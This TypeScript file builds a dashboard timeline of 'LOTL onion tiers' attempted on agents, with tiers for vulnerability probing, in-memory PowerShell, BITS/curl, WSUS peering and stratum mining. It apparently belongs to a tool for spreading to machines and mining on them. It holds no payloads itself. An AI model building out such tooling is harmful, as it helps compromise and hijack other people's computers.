import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers'; import type { AtlasSkipView } from './accessDepth'; import { ANDROID_DESKTOP_SKIPPED_TIER, ANDROID_MINING_TIER_ORDER } from './accessDepth'; import type { Agent } from '../types'; import { isAndroidPlatform } from './platform'; import { formatLotlTierLabel, type TierAttempt } from '../types/lotl'; /** Per-tier state for the live onion timeline UI. */ export type LotlTimelineTierState = 'pending' | 'trying' | 'success' | 'failed' | 'skipped' | 'skipped_by_atlas'; export interface LotlTimelineTierRow { index: number; tier: string; label: string; hint: string; state: LotlTimelineTierState; attempt?: TierAttempt; } export interface LotlTimelineModel { tiers: LotlTimelineTierRow[]; total: number; succeeded: number; activeTier?: string; tryingTier?: string; } /** Map attempt tier ids to spread onion tier ids (case-insensitive). */ const TIER_ALIASES: Record = { container: 'docker', docker_load: 'docker', vuln_probe: 'vuln_recon', kev_scan: 'vuln_recon', service_probe: 'vuln_recon', ps_memory: 'powershell', ps_inmemory: 'powershell', bits: 'bits_curl', curl: 'bits_curl', wsus: 'wsus_cache_peer', wsus_cache: 'wsus_cache_peer', webrtc: 'webrtc_mesh', mesh: 'webrtc_mesh', exe_subprocess: 'powershell', cpu_inprocess: 'dotnet', gpu_subprocess: 'dotnet', stratum_direct: 'dotnet', }; function normalizeTierKey(tier: string): string { return tier.trim().toLowerCase().replace(/[\s-]+/g, '_'); } function canonicalSpreadTier(tier: string): string { const key = normalizeTierKey(tier); return TIER_ALIASES[key] ?? key; } function tierDocHint(tier: string): string { const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number]; return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.hint ?? ''; } function tierLabel(tier: string): string { if (tier === ANDROID_DESKTOP_SKIPPED_TIER) return 'Desktop tiers skipped'; const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number]; return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier); } function lastAttemptForTier(attempts: TierAttempt[], spreadTier: string): TierAttempt | undefined { const target = canonicalSpreadTier(spreadTier); for (let i = attempts.length - 1; i >= 0; i--) { if (canonicalSpreadTier(attempts[i].tier) === target) return attempts[i]; } return undefined; } export function resolveLotlTierOrder(policyTiers?: string[], agent?: Agent): string[] { if (agent && isAndroidPlatform(agent.platform)) { return [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER]; } if (policyTiers?.length) return [...policyTiers]; return [...DEFAULT_LOTL_ONION_TIERS]; } export function buildLotlTimelineModel( agent: Agent, order: string[], attempts: TierAttempt[], skipped: string[] = [], atlasSkips: AtlasSkipView[] = [], ): LotlTimelineModel { const effectiveOrder = isAndroidPlatform(agent.platform) ? [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER] : order; const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s))); const atlasSet = new Set(atlasSkips.map((s) => canonicalSpreadTier(s.tier))); const activeTier = agent.lotl_tier?.trim() || undefined; const activeCanon = activeTier ? canonicalSpreadTier(activeTier) : undefined; const online = agent.status === 'online'; let tryingTier: string | undefined; if (online && activeCanon) { const last = lastAttemptForTier(attempts, activeCanon); if (!last?.ok) tryingTier = activeCanon; } const tiers: LotlTimelineTierRow[] = effectiveOrder.map((tier, i) => { const key = canonicalSpreadTier(tier); const attempt = lastAttemptForTier(attempts, tier); let state: LotlTimelineTierState = 'pending'; if (tier === ANDROID_DESKTOP_SKIPPED_TIER) { state = 'skipped'; } else if (atlasSet.has(key)) { state = 'skipped_by_atlas'; } else if (skippedSet.has(key)) { state = 'skipped'; } else if (tryingTier === key || (online && activeCanon === key && !attempt?.ok)) { state = 'trying'; } else if (attempt?.ok) { state = 'success'; } else if (attempt && !attempt.ok) { state = 'failed'; } return { index: i + 1, tier, label: tierLabel(tier), hint: tierDocHint(tier), state, attempt, }; }); const succeeded = tiers.filter((t) => t.state === 'success').length; return { tiers, total: effectiveOrder.length, succeeded, activeTier, tryingTier, }; } export function lotlTimelineProgressLabel(model: LotlTimelineModel): string { return `${model.succeeded}/${model.total}`; }